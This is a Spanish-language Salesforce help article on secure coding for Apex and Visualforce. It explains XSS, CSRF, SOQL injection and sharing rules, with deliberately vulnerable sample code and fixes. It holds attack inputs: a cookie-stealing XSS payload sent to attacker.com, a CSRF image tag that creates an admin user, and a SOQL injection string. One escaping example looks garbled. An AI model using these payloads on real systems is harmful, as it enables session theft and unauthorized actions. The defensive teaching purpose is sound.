Loading
Mejora de Salesforce mediante código
Directrices de seguridad para el desarrollo de Apex y Visualforce

Directrices de seguridad para el desarrollo de Apex y Visualforce

Comprender y estar vigilante frente a vulnerabilidades en su código cuando desarrolla aplicaciones personalizadas.

Ediciones necesarias

Disponible en: Salesforce Classic

Disponible en: Group Edition, Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition, Developer Edition y Database.com Edition

Visualforce no está disponible en Database.com.

Concepto de seguridad

La potente combinación de las páginas Apex y Visualforce permite a los desarrolladores de la plataforma Lightning ofrecer funciones personalizadas y lógica de negocio a Salesforce o crear un producto nuevo e independiente que se ejecuta en la plataforma Lightning. No obstante, como con cualquier lenguaje de programación, los desarrolladores deben ser conscientes de posibles riesgos relacionados con la seguridad.

Salesforce ha incorporado varias funciones de seguridad en la plataforma Lightning. No obstante, los desarrolladores menos cuidadosos pueden omitir las defensas predefinidas y exponer a sus aplicaciones y sus clientes a riesgos de seguridad. Muchos de los errores de codificación que un desarrollador puede cometer en la plataforma Lightning son similares a las vulnerabilidades de seguridad de aplicaciones web generales, mientras que otras son exclusivas de Apex.

Para certificar una aplicación para AppExchange, es importante que los desarrolladores conozcan y comprendan los fallos de seguridad que se describen. Para obtener más información, consulte la página Recursos de seguridad de la plataforma Lightning en Desarrolladores de Salesforce. https://developer.salesforce.com/page/Security.

Cross-Site Scripting (XSS)

Los ataques de cross-site scripting (XSS) incluyen los que en una aplicación Web se incrustan HTML o secuencias de comandos dañinas en el lado del cliente.

La aplicación web incluye secuencias de comandos maliciosas en una respuesta a un usuario que se convierte inadvertidamente en víctima del ataque. El atacante utilizó la aplicación Web como intermediaria del ataque, aprovechando que la víctima confía en ella. La mayoría de las aplicaciones que muestran páginas Web dinámicas sin validar adecuadamente los datos probablemente sean vulnerables. Los ataques contra el sitio web son especialmente fáciles si se muestra la entrada de un usuario a otro usuario. Algunas posibilidades obvias incluyen sitios Web de boletines de noticias o de comentarios de usuarios, noticias o archivos comprimidos de email.

Por ejemplo, supongamos que esta secuencia de comandos se incluye en una página de la plataforma Lightning utilizando un componente de secuencia de comandos, un evento on* o una página de Visualforce.

<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

Este bloque de secuencias de comandos inserta en la página el valor de userparam proporcionado por el usuario. El atacante puede especificar este valor para userparam.

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

En este caso, todas las cookies de la página actual se envían a www.attacker.com como la cadena de la consulta en la solicitud de la secuencia de comandos de cookie.cgi. En este punto, el atacante tiene la cookie de la sesión de la víctima y se puede conectar a la aplicación Web como si fuera la víctima.

El atacante puede publicar una secuencia de comandos maliciosa utilizando un sitio web o email. Los usuarios de la aplicación Web no sólo verán la entrada del atacante, sino que pueden ejecutar la secuencia de comandos del atacante con su navegador en un contexto de confianza. De esta forma, el atacante puede realizar una amplia variedad de ataques contra la víctima. Estos ataques varían desde simples acciones como abrir y cerrar ventanas, a ataques más graves como el robo de datos o de cookies de sesión, lo que permite al atacante tener acceso completo a la sesión de la víctima.

Para obtener más información acerca de este tipo de ataque:

En la plataforma Lightning existen varias defensas anti XSS vigentes. Por ejemplo, Salesforce tiene filtros que eliminan caracteres dañinos en la mayoría de métodos de salida. Para el desarrollador que utiliza clases estándar y métodos de salida, las amenazas de los fallos de XSS se han mitigado en gran medida. No obstante, un desarrollador creativo puede encontrar formas de omitir los controles predeterminados de manera intencionada o accidental.

Protección existente

Todos los componentes estándar de Visualforce, que comienzan por <apex>, tienen filtros anti XSS activados para descartar caracteres dañinos. Por ejemplo, este código es normalmente vulnerable a un ataque XSS porque devuelve las entradas y salidas al usuario, pero la etiqueta <apex:outputText> es segura. Todos los caracteres que parecen ser etiquetas HTML se convierten a su formato literal. Por ejemplo, el carácter < se convierte a &lt; para que aparezca el carácter literal < en la pantalla del usuario.

<apex:outputText> 
    {!$CurrentPage.parameters.userInput} 
</apex:outputText>

Desactivación de exclusión en etiquetas de Visualforce

Por defecto, casi todas las etiquetas de Visualforce excluyen los caracteres vulnerables a XSS. Puede desactivar este comportamiento estableciendo el atributo opcional escape="false". Por ejemplo, esta salida es vulnerable a ataques XSS.

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Elementos de programación no protegidos de XSS

El código Javascript personalizado y el código dentro de componentes <apex:includeScript> no tienen protecciones XSS integradas. Estos elementos permiten al desarrollador personalizar la página con comandos de secuencia de comandos. No tiene sentido incluir filtros anti XSS en comandos que se añaden de manera intencionada a la página.

JavaScript personalizado

Si crea sus propios comandos de JavaScript, la plataforma Lightning no puede protegerle. Por ejemplo, este código es vulnerable a XSS si se utiliza en JavaScript.

<script> 
    var foo = location.search; 
    document.write(foo); 
</script>

<apex:includeScript>

Con el componente <apex:includeScript> de Visualforce puede incluir una secuencia de comandos personalizada en una página. Asegúrese de validar que el contenido es seguro y que no incluye datos proporcionados por el usuario. Por ejemplo, este fragmento de código es vulnerable ya que incluye una entrada proporcionada por el usuario como el valor del texto de la secuencia de comandos. El valor que proporciona la etiqueta es una URL que debe incluir JavaScript. Si un atacante puede proporcionar datos arbitrarios a este parámetro como en el ejemplo, pueden dirigir a la víctima a incluir cualquier archivo JavaScript desde cualquier otro sitio Web.

<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Etiquetas de fórmula

La sintaxis general de estas etiquetas es: {!FUNCTION()} o {!$OBJECT.ATTRIBUTE}. Por ejemplo, si un desarrollador quiere incluir un Id. de sesión de usuario en un vínculo, puede crear el vínculo utilizando esta sintaxis.

<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

Y se representa como este resultado.

<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Las expresiones de fórmula pueden ser llamadas de funciones o pueden incluir información sobre objetos de plataforma, un entorno de usuario, entorno de sistema y el entorno de la solicitud. Una característica importante de estas expresiones es que los datos no se excluyen durante el procesamiento. Ya que las expresiones se procesan en el servidor, no es posible excluir datos procesados en el cliente utilizando JavaScript u otra tecnología del lado del cliente. Esto puede ser peligroso si la expresión de la fórmula hace referencia a datos ajenos al sistema que sean hostiles o modificables y la expresión no esté encerrada en una función para aplicar caracteres de escape a la salida durante la representación. Una vulnerabilidad común se crea utilizando la expresión {!$Request.*} para acceder a los parámetros de la solicitud.

<html>
    <head>
        <title>{!$Request.title}</title>
    </head>
    <body>Hello world!</body>
</html>

Desafortunadamente, la etiqueta {!$Request.title} sin escape también genera una vulnerabilidad de secuencias de comandos de sitio cruzadas. Por ejemplo, la solicitud:

https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

produce la salida:

<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>

El mecanismo estándar para hacer el escape en el lado del servidor es mediante el uso de la etiqueta de fórmula SUBSTITUTE(). Teniendo en cuenta la ubicación de la expresión {!$Request.*} en el ejemplo, el ataque descrito se podría evitar utilizando estas llamadas SUBSTITUTE() anidadas.

<html>
    <head>
        <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
    </head>
    <body>Hello world!</body>
</html>

Dependiendo de la ubicación de la etiqueta y del uso de los datos, los dos caracteres que necesitan caracteres de escape y sus equivalente con caracteres de escape pueden variar. Por ejemplo, esta instrucción:

<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requiere que el carácter entre comillas se le aplique caracteres de escape con esta URL codificada equivalente de %22 en lugar de la HTML con caracteres de escape ", ya que probablemente se utilice como vínculo. Por otra parte, la declaración:

https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

da como resultado:

<script>var ret = "foo";alert('xss');//";</script>

La variable ret a veces necesita caracteres de escape adicionales del lado del cliente después en la página, si se utiliza de manera que pueda causar que se interpreten los caracteres de control HTML incluidos.

Las etiquetas de fórmula también se pueden utilizar para incluir datos de objetos de plataforma. Aunque los datos se toman directamente de la organización del usuario, se deben excluir antes para evitar que los usuarios ejecuten el código en el contexto de otros usuarios, como aquellos con los mayores niveles de privilegios. Solo los usuarios de la misma organización pueden realizar estos tipos de ataques. Estos ataques socavan las funciones de usuario y reducen la integridad de los registros de auditoría. Los datos se pueden importar desde fuentes externas y no se pueden incluir en pantalla contenidos maliciosos.

Cross-Site Request Forgery (CSRF)

Los fallos Cross-Site Request Forgery (CSRF) tienen más que ver con fallos de defensa que con defectos de programación.

Por ejemplo, un atacante tiene una página Web en www.attacker.com que podría ser cualquier página Web, incluyendo una que proporciona servicios valiosos o información que dirige el tráfico a ese sitio. En cualquier parte de la página del atacante habrá una etiqueta HTML con la siguiente apariencia:

<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

En otras palabras, la página del atacante contiene una URL que ejecuta una acción en el sitio Web de la víctima. Si el usuario sigue registrado en la página Web de la víctima mientras visita la página Web del atacante, la URL se recupera y se ejecutan las acciones definidas. Este ataque se producirá porque el usuario sigue autenticado en su página web. Este ataque es un ejemplo sencillo y el atacante puede ser más creativo si utiliza secuencias de comandos para generar la solicitud de devolución de llamada o utilizar ataques CSRF contra sus métodos de AJAX.

Para obtener más información y mantener las defensas tradicionales:

En la plataforma Lightning, Salesforce ha implementado un token anti CSRF para evitar este ataque. Cada página incluye una cadena aleatoria de caracteres como un campo de formulario oculto. La próxima vez que se cargue la página, la aplicación comprueba la validez de esta cadena de caracteres y no ejecuta el comando salvo que el valor coincida con el valor esperado. Esta función le protege cuando utilice todos los controladores y métodos estándar.

De nuevo, el desarrollador puede omitir las defensas predefinidas sin considerar el riesgo. Por ejemplo, tiene un controlador personalizado toma el Id. de objeto como parámetro de entrada y luego utiliza ese parámetro en una llamada SOQL.

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass { 
  public void init() { 
    Id id = ApexPages.currentPage().getParameters().get('id'); 
    Account obj = [select id, Name FROM Account WHERE id = :id]; 
    delete obj; 
    return ; 
  }
}

E desarrollador omitió los controles anti CSRF sin saberlo desarrollando su propio método de acción. El parámetro id se lee y se utiliza en el código. El token anti CSRF no se lee ni se valida. Una página web de un atacante puede enviar al usuario a esta página utilizando un ataque CSRF y proporcionando el valor que quiera para el parámetro id.

No hay defensas predefinidas para este tipo de situaciones, por lo que los desarrolladores deben tener cuidado a la hora de escribir las páginas que desarrollen acciones basadas en parámetros proporcionados por el usuario, como la variable id en el ejemplo anterior. Una posible solución temporal es insertar una página de confirmación intermedia para comprobar si el usuario pretendía acceder a la página. Entre otras soluciones se incluyen reducir el tiempo de inactividad de la sesión y acostumbrar a los usuarios a que cierren su sesión activa y no utilicen su navegador para visitar otros sitios mientras están autenticados.

Debido a las defensas predefinidas de Salesforce frente a CSRF, sus usuarios podrían encontrar un error cuando tengan varias páginas de inicio de sesión de Salesforce abiertas. Si el usuario inicia sesión en Salesforce en una ficha e intenta iniciar sesión en otra, verá este error: La página que envió no era válida para su sesión. Los usuarios pueden iniciar sesión correctamente actualizando la página de inicio de sesión o intentando iniciar sesión una segunda vez.

Inyección SOQL

En otros lenguajes de programación, el fallo anterior se conoce como inyección SQL.

Apex no utiliza SQL, sino que utiliza su propio lenguaje de consulta de base de datos, SOQL. SOQL es mucho más simple y con menos funcionalidades que SQL. Los riesgos de inyección de SOQL son menores que los de SQL, pero los ataques son casi idénticos a los de inyección de SQL tradicional. La inyección SQL/SOQL implica entradas proporcionadas por el usuario y el uso de estos valores en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifiquen la declaración SOQL y engañen a la aplicación para que ejecute los comandos no deseados.

Vulnerabilidades de inyección SOQL en Apex

Este es un ejemplo sencillo de código de Apex y Visualforce vulnerable a inyección SOQL.

<apex:page controller="SOQLController" >
    <apex:form>
        <apex:outputText value="Enter Name" />
        <apex:inputText value="{!name}" />
        <apex:commandButton value="Query" action="{!query}“ />
    </apex:form>
</apex:page>
public class SOQLController {
    public String name {
        get { return name;}
        set { name = value;}
    } 
    public PageReference query() {
        String qryString = 'SELECT Id FROM Contact WHERE ' +
            '(IsDeleted = false and Name like \'%' + name + '%\')';
        List<Contact> queryResult = Database.query(qryString);
        System.debug('query result is ' + queryResult);
        return null;
    }
}

Este ejemplo sencillo ilustra la lógica. El código intenta buscar los contactos que no se eliminaron. El usuario proporciona un valor de entrada denominado name. El valor puede ser cualquiera que proporcione el usuario y no se valida nunca. La consulta SOQL se crea de forma dinámica y se ejecuta con el método Database.query. Si el usuario proporciona un valor válido, la declaración se ejecuta como se esperaba.

// User supplied value: name = Bob 
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

Pero si el usuario proporcionara un valor no esperado como:

// User supplied value for name: test%') OR (Name LIKE '

en ese caso, la consulta es:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Ahora, los resultados muestran todos los contactos, no solo los no eliminados. Una vulnerabilidad de inyección SOQL se puede utilizar para modificar la lógica prevista de cualquier consulta vulnerable.

Defensas de inyección SOQL

Para evitar un ataque de inyección SOQL, evite utilizar consultas SOQL dinámicas. En su lugar, utilice consultas estáticas y variables de vinculación. El ejemplo vulnerable anterior se podría reescribir utilizando SOQL estática.

public class SOQLController { 
    public String name { 
        get { return name;} 
        set { name = value;} 
    } 
    public PageReference query() { 
        String queryName = '%' + name + '%';
        List<Contact> queryResult = [SELECT Id FROM Contact WHERE 
           (IsDeleted = false and Name like :queryName)];
        System.debug('query result is ' + queryResult);
        return null; 
    } 
}

Si debe utilizar SOQL dinámica, utilice el método escapeSingleQuotes para depurar las entradas proporcionadas por el usuario. Este método añade el carácter de escape (\) a todas las comillas simples de una cadena procedente del usuario. Este método garantiza que todas las comillas simples se consideren cadenas de cierre, en lugar de comandos de base de datos.

Control de acceso a los datos

La plataforma Lightning hace un gran uso de las reglas de colaboración de datos. Cada objeto tiene permisos y puede tener configuraciones de colaboración que los usuarios pueden leer, crear, modificar y eliminar. Estas configuraciones se aplican cuando se utilizan todos los controladores estándar.

Si utiliza una clase de Apex, los permisos de usuario predefinidos y las restricciones de nivel de campo no se respetan durante su ejecución. El comportamiento predeterminado es que una clase Apex puede leer y actualizar todos los datos. Como estas reglas no se aplican, los desarrolladores que utilizan Apex deben evitar la exposición de datos confidenciales de manera inadvertida que normalmente estarían ocultos a los usuarios según sus permisos de usuario, seguridad a nivel de campo o valores predeterminados. Por ejemplo, consideremos este código Apex de ejemplo:

public class customController { 
    public void read() { 
        Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
    } 
}

En este caso, se buscan todos los registros de los contactos, incluso si el usuario que ha iniciado sesión no tiene normalmente permiso para ver estos registros. La solución es utilizar las palabras clave de puntuaje with sharing al declarar la clase:

public with sharing class customController { 
    . . . 
}

Las palabras clave with sharing dirigen la plataforma para que utilice los permisos de colaboración de seguridad del usuario que ha iniciado sesión, en lugar de proporcionar acceso completo a todos los registros.

 
Cargando
Salesforce Help | Article